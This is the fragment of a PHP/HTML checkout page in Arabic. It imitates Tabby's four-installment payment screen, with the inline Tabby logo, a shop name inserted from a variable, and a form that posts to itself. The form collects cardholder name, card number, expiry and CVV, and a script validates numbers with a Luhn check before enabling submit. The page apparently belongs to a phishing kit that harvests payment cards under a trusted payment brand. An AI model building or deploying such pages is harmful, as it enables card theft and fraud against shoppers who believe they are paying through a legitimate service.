box-shadow: none!important;
}
.form-control {
color: #0375D3;
}
.list--product-fields li.form-group .bootstrap-select>.btn.btn-default, .list--product-fields li.form-group .btn, .list--product-fields li.form-group .form-control, .list--product-fields li.form-group textarea {
border-color: #dcdcdc;
border-radius: 3px;
box-shadow: none!important;
}
.form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control {
background-color: #eee;
opacity: 1;
}
</style>
<style>
body {
background-color: #F8F8F8;
}
.jss59 {
top: 0;
right: 0;
color: #292929;
left: 0;
display: flex;
z-index: 10;
position: fixed;
font-size: 16px;
box-sizing: border-box;
font-weight: bold;
line-height: 19px;
flex-direction: column;
justify-content: center;
background: #fff;
}
.jss60 {
height: 72px;
display: flex;
padding: 0 16px;
align-items: center;
}
@media (min-width:768px) {
.jss60 {
padding: 0 24px;
}
}
@media (min-width:1024px) {
.jss60 {
padding: 0 96px;
}
}
.jss64 {
margin-right: auto;
}
.jss66 {
width: auto;
display: flex;
justify-content: flex-start;
}
@media (min-width: 768px){
.jss66 {
flex: 1 1 0%;
}
}
.jss69 {
margin-left: 16px;
}
.jss70 {
cursor: pointer;
}
.jss72 {
transform: scaleX(-1);
margin-left: 16px;
}
.jss68 {
flex: 1 1 0%;
display: flex;
z-index: 2;
justify-content: flex-start;
}
@media (min-width: 768px){
.jss68 {
justify-content: center;
}
}
.jss131 {
text-align: left;
font-size: 16px;
min-height: 19px;
font-weight: bold;
}
.jss132 {
font-size: 14px;
font-weight: normal;
}
.jss133 {
width: 45px;
height: 18px;
vertical-align: middle;
}
.jss67 {
width: auto;
display: flex;
justify-content: flex-end;
}
@media (min-width: 768px){
.jss67 {
flex: 1 1 0%;
}
}
.jss64 {
margin-right: auto;
}
.jss135 {
color: #3835AF;
cursor: pointer;
font-size: 14px;
font-style: normal;
font-family: Inter;
font-weight: bold;
line-height: 30px;
}
.jss210 {
color: #292929;
padding: 16px 12px;
}
.jss211:not(:last-child) {
margin-bottom: 16px;
}
.jss212 {
font-size: 16px;
}
.jss211 {
display: flex;
justify-content: space-between;
}
.jss211:not(:last-child) {
margin-bottom: 16px;
}
.jss214 {
font-weight: 700;
}
.jss212 {
font-size: 16px;
}
.jss211 {
display: flex;
justify-content: space-between;
}
.jss211:not(:last-child) {
margin-bottom: 16px;
}
.jss211 {
display: flex;
justify-content: space-between;
}
.jss213 {
font-size: 14px;
}
</style>
<body id="app" >
<div id="app" class="container container--margined">
<div class="row" style="margin: 20px -30px 0 -30px">
<div id="payment_process" class="col-md-9 col-sm-12" style="display: block;">
<form action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
<main class="sections-wrapper" style="margin-top: 65px;border-radius: 15px;background-color: #f8f8f8;box-shadow: 0 1px 3px rgb(248 248 248);">
<div class="section section--payment">
<div class="col-md-12">
<div class="alert alert-default alert-center" style="border-radius: 20px;">
<div id="tabbyCard">
<div class="jss59">
<div class="jss60 jss58 jss65">
<div class="jss61 jss66">
<div class="jss69">
<span class="jss70" data-test="backToStore">
<svg width="8" height="14" fill="none" xmlns="http://www.w3.org/2000/svg" class="jss72">
<path fill-rule="evenodd" clip-rule="evenodd" d="M7.373.96a1 1 0 0 1 0 1.414L2.747 7l4.626 4.626A1 1 0 1 1 5.96 13.04L.626 7.707a1 1 0 0 1 0-1.414L5.959.96a1 1 0 0 1 1.414 0Z" fill="#292929"></path>
</svg>
<!-- العودة إلى المتجر -->
</span>
</div>
</div>
<div class="jss63 jss68">
<div>
<div class="jss131"><?= $webnameE ?></div>
<div class="jss132">
الدفع بواسطة
<svg width="100" height="40" viewBox="0 0 100 40" fill="none" xmlns="http://www.w3.org/2000/svg" class="jss133">
<defs>
<linearGradient id="paint0_linear_99_113_0.04013995632438738" x1="0" y1="19.9995" x2="100" y2="19.9995" gradientUnits="userSpaceOnUse">
<stop stop-color="#3BFF9D"></stop>
<stop offset="1" stop-color="#3BFFC8"></stop>
</linearGradient>
</defs>
<path d="M92.2524 0H7.74757C3.46871 0 0 3.48347 0 7.78054V32.2195C0 36.5165 3.46871 40 7.74757 40H92.2524C96.5313 40 100 36.5165 100 32.2195V7.78054C100 3.48347 96.5313 0 92.2524 0Z" fill="url(#paint0_linear_99_113_0.04013995632438738)"></path>
<path d="M86.9113 12.6893L81.5394 33.1972L81.5274 33.2434H85.7106L91.1016 12.6893H86.9113Z" fill="#292929"></path>
<path d="M20.4447 24.3575C19.817 24.6651 19.1268 24.8233 18.4279 24.8198C16.9206 24.8198 16.0655 24.5796 15.9731 23.3607V23.2793C15.9731 23.2301 15.967 23.1788 15.967 23.1306V19.5946L15.9731 19.1765V16.6805H15.967V15.6073L15.9731 15.1863V12.7746L12.237 13.269C14.7673 12.7787 16.2173 10.778 16.2173 8.7864V7.56049H12.015V13.3032L11.7778 13.3695V24.0018C11.9165 26.9892 13.888 28.7648 17.1146 28.7648C18.2708 28.762 19.4146 28.5251 20.4768 28.0684L20.4979 28.0594V24.3294L20.4447 24.3575Z" fill="#292929"></path>
<path d="M21.1069 11.9165L9.32401 13.7332V16.7216L21.1069 14.9049V11.9165Z" fill="#292929"></path>
<path d="M21.1069 16.2876L9.32401 18.1044V20.9582L21.1069 19.1424V16.2876Z" fill="#292929"></path>
<path d="M34.3287 17.6622C34.1619 14.3462 32.0878 12.3767 28.7075 12.3767C26.7652 12.3767 25.1634 13.1273 24.0762 14.5481C22.9889 15.969 22.4202 18.046 22.4202 20.5702C22.4202 23.0944 22.993 25.1784 24.0762 26.5993C25.1594 28.0201 26.7652 28.7698 28.7075 28.7698C32.0878 28.7698 34.1619 26.7932 34.3287 23.4561V28.4573H38.5269V12.7264L34.3287 13.3735V17.6622ZM34.5467 20.5702C34.5467 23.5104 33.0033 25.4095 30.6147 25.4095C28.1519 25.4095 26.6818 23.6008 26.6818 20.5702C26.6818 17.5215 28.1519 15.7007 30.6147 15.7007C31.8125 15.7007 32.8133 16.167 33.5077 17.0502C34.188 17.9134 34.5467 19.1313 34.5467 20.5702Z" fill="#292929"></path>
<path d="M50.773 12.3767C47.3917 12.3767 45.3177 14.3452 45.1529 17.6673V8.14732L40.9536 8.79545V28.4523H45.1529V23.4451C45.3177 26.7863 47.3917 28.7648 50.773 28.7648C54.7301 28.7648 57.0925 25.702 57.0925 20.5703C57.0925 15.4385 54.7301 12.3767 50.773 12.3767ZM48.8638 25.4096C46.4743 25.4096 44.9308 23.5105 44.9308 20.5703C44.9308 19.1313 45.2905 17.9134 45.9708 17.0533C46.6652 16.17 47.666 15.7038 48.8638 15.7038C51.3267 15.7038 52.7968 17.5246 52.7968 20.5733C52.7998 23.6009 51.3297 25.4096 48.8668 25.4096H48.8638Z" fill="#292929"></path>
<path d="M68.5306 12.3767C65.1493 12.3767 63.0743 14.3452 62.9095 17.6673V8.14732L58.7113 8.79545V28.4523H62.9035V23.4451C63.0683 26.7863 65.1433 28.7648 68.5246 28.7648C72.4807 28.7648 74.8431 25.702 74.8431 20.5703C74.8431 15.4385 72.4817 12.3767 68.5306 12.3767ZM66.6214 25.4096C64.2319 25.4096 62.6885 23.5105 62.6885 20.5703C62.6885 19.1313 63.0472 17.9134 63.7275 17.0533C64.4228 16.17 65.4237 15.7038 66.6214 15.7038C69.0833 15.7038 70.5534 17.5246 70.5534 20.5733C70.5514 23.6009 69.0813 25.4096 66.6214 25.4096Z" fill="#292929"></path>
<path d="M74.8531 12.6893H79.3368L82.9794 28.4232H78.96L74.8531 12.6893Z" fill="#292929"></path>
</svg>
</div>
</div>
</div>
<div class="jss62 jss67">
<!--<a href="checkoutTappeye.php"><div class="jss135 jss64" data-test="header.languageSwitcher">English</div></a>-->
</div>
</div>
</div>
<div class="styles__tabby-card--de772 styles__tabby-card--rtl--b41c9">
<div class="jss143">
<div data-test="payments-schedule-title" class="jss145 jss146" style="text-align: right;">قسّمها على 4. بدون فوائد. بدون رسوم.</div>
<div class="jss144" style="text-align: right;">متوافق مع أحكام الشريعة الإسلامية.</div>
</div>
<div class="jss147">
<div class="jss148" data-test="paymentSchedule.paymentRow">
<div class="jss155 jss157" data-test="paymentSchedule.paymentRowGraph">
<div class="jss156 jss158"></div>
</div>
<div data-test="paymentSchedule.paymentRowDate" class="jss149 jss153">اليوم</div>
<div data-test="paymentSchedule.paymentRowCount"><?php echo $pricecheckout / 4; ?> SAR</div>
</div>
<div class="jss148" data-test="paymentSchedule.paymentRow">
<div class="jss155 jss161" data-test="paymentSchedule.paymentRowGraph">
<div class="jss156 jss162"></div>
</div>
<div data-test="paymentSchedule.paymentRowDate" class="jss149 jss159"><?= date("d M, Y", strtotime($today . " +1 month")); ?></div>
<div data-test="paymentSchedule.paymentRowCount"><?php echo $pricecheckout / 4; ?> SAR</div>
</div>
<div class="jss148" data-test="paymentSchedule.paymentRow">
<div class="jss155 jss165" data-test="paymentSchedule.paymentRowGraph">
<div class="jss156 jss166"></div>
</div>
<div data-test="paymentSchedule.paymentRowDate" class="jss149 jss163"><?= date("d M, Y", strtotime($today . " +2 month")); ?></div>
<div data-test="paymentSchedule.paymentRowCount"><?php echo $pricecheckout / 4; ?> SAR</div>
</div>
<div class="jss148" data-test="paymentSchedule.paymentRow">
<div class="jss155 jss169" data-test="paymentSchedule.paymentRowGraph">
<div class="jss156 jss170"></div>
</div>
<div data-test="paymentSchedule.paymentRowDate" class="jss149 jss167"><?= date("d M, Y", strtotime($today . " +3 month")); ?></div>
<div data-test="paymentSchedule.paymentRowCount"><?php echo $pricecheckout / 4; ?> SAR</div>
</div>
</div>
</div>
</div>
</div>
<div class="alert alert-default alert-center" style="border-radius: 20px;">
<div id="tabbyCard">
<div class="styles__tabby-card--de772 styles__tabby-card--rtl--b41c9">
<div class="row">
<div class="col-md-12">
<div id="payment_step" class="payment-step mb-0">
<div data-step="1" class="title title--step">
<img src="../vendor/checkout/images/icons/step-payment.svg"> <h3>الدفع</h3>
</div>
<div id="counter" style="display: block;">
<span>
<div data-v-2e3ca182="" class="form form--payment">
<div data-v-2e3ca182="" class="row">
<div data-v-2e3ca182="" class="col-md-8 col-xs-12">
<span data-v-2e3ca182="">
<fieldset data-v-2e3ca182="" data-openreplay-masked="" class="form-group--w-icon form-group payment-type">
<input data-v-2e3ca182="" type="text" autocomplete="cc-name" name="cc-name" id="cc-name" placeholder="الاسم على البطاقة" class="form-control ym-disable-keys ym-hide-content" required=""> <!---->
</fieldset>
</span>
<span data-v-2e3ca182="">
<fieldset data-v-2e3ca182="" data-openreplay-masked="" class="form-group--w-icon form-group payment-type">
<input data-v-2e3ca182="" type="tel" maxlength="19" oninput="formatCardNumber(this)" autocomplete="cc-number" id="cc-number" name="cc-number" placeholder="رقم البطاقة" class="form-control ym-disable-keys ym-hide-content" required=""> <!---->
</fieldset>
</span>
<p id="result"></p>
</div>
<div data-v-2e3ca182="" class="col-md-2 col-xs-6">
<span data-v-2e3ca182="">
<fieldset data-v-2e3ca182="" class="form-group">
<div data-v-2e3ca182="" class="input-wrapper-expiry" style="width: 100px;">
<input data-v-2e3ca182="" type="tel" maxlength="2" pattern="[0-9]*" placeholder="الشهر" name="cc_month" id="cc_month" autocomplete="cc-exp-month" class="form-control ym-disable-keys ym-hide-content card-month" required="">
<input data-v-2e3ca182="" type="text" placeholder="/" disabled="disabled" class="form-control separator">
<input data-v-2e3ca182="" type="tel" maxlength="2" pattern="[0-9]*" placeholder="السنة" name="cc_year" id="cc_year" autocomplete="cc-exp-year" class="form-control ym-disable-keys ym-hide-content card-year" required="">
</div>
</fieldset>
</span>
</div>
<div data-v-2e3ca182="" class="col-md-2 col-xs-6">
<span data-v-2e3ca182="">
<fieldset data-v-2e3ca182="" data-openreplay-masked="" class="form-group">
<input data-v-2e3ca182="" type="tel" pattern="\d*" maxlength="3" minlength="3" name="cc-csc" autocomplete="cc-csc" placeholder="(CVV)" class="form-control ym-disable-keys ym-hide-content" required=""> <!---->
</fieldset>
</span>
</div>
<div class="ui form">
<div style="margin: 50px;">
<button data-v-314a6f0a="" disabled type="submit" name="submit" id="submit-form-btn" style="background-color: #000; display: black;" class="btn btn--primary btn--wide btn--round btn--submit btn--fixed wide">
<span data-v-314a6f0a="">اكمال الدفع</span> <!----> <!---->
</button>
</div>
</div>
</div>
</div>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="alert alert-default alert-center" style="border-radius: 20px;">
<div id="tabbyCard">
<div class="jss139">
<div class="jss210" data-test="order">
<div class="jss211 jss212" data-test="order-amount">
<div>قيمة الطلب</div>
<div data-test="order.amount"><?= $pricecheckout ?> SAR</div>
</div>
<div class="jss211 jss212 jss214" data-test="due-today">
<div>مستحقة اليوم</div>
<div data-test="order.dueToday"><?= $pricecheckout/4 ?> SAR</div>
</div>
<hr class="MuiDivider-root MuiDivider-fullWidth jss211 muirtl-39bbo6">
<span class="jss213">سنقوم بتذكيرك عبر الرسائل النصية بموعد سداد الدفعة القادمة.</span>
</div>
</div>
</div>
</div>
</div>
</div>
</main>
</form>
<ul class="list list--brands">
<li>تسوق إلكتروني آمن 100%</li>
<li><img src="../vendor/checkout/images/icons/secure-payment.svg"></li>
<li><img src="../vendor/checkout/images/icons/secure-payment-02.svg"></li>
<li><img src="../vendor/checkout/images/icons/secure-payment-03.svg"></li>
</ul>
</div>
<div class="hidden grid-cols-4 h-fit self-end grayscale sm:items-start sm:items-end"></div>
<div class="overlay-layer has-overlay--after"></div>
</div>
</div>
</div>
<script>
function formatCardNumber(input) {
let cardNumber = input.value.replace(/\D/g, '').substring(0, 16); // إزالة أي حروف غير أرقام
input.value = cardNumber.replace(/(.{4})/g, '$1 ').trim(); // إضافة مسافة كل 4 أرقام
if (cardNumber.length === 16) {
validateCard(cardNumber);
} else {
document.getElementById("result").textContent = "";
document.getElementById("submit-form-btn").disabled = true;
}
}
function luhnCheck(cardNumber) {
let sum = 0;
let alternate = false;
for (let i = cardNumber.length - 1; i >= 0; i--) {
let n = parseInt(cardNumber[i], 10);
if (alternate) {
n *= 2;
if (n > 9) n -= 9;
}
sum += n;
alternate = !alternate;
}
return (sum % 10 === 0);
}
function getCardType(cardNumber) {
if (/^4[0-9]{12}(?:[0-9]{3})?$/.test(cardNumber)) {
return "Visa";
} else if (/^5[1-5][0-9]{14}$/.test(cardNumber) || /^2(2[2-9][1-9]|2[3-9][0-9]{2}|[3-6][0-9]{3}|7[0-1][0-9]{2}|720)[0-9]{12}$/.test(cardNumber)) {
return "Mastercard";
}
return null;
}
function validateCard(cardNumber) {
let result = document.getElementById("result");
let payButton = document.getElementById("submit-form-btn");
let cardType = getCardType(cardNumber);
if (cardType && luhnCheck(cardNumber)) {
result.textContent = ``;
result.style.color = "green";
payButton.disabled = false; // تفعيل الزر
} else {
result.textContent = "رقم البطاقة غير صالح";
result.style.color = "red";
payButton.disabled = true; // تعطيل الزر
}
}
</script>
</html>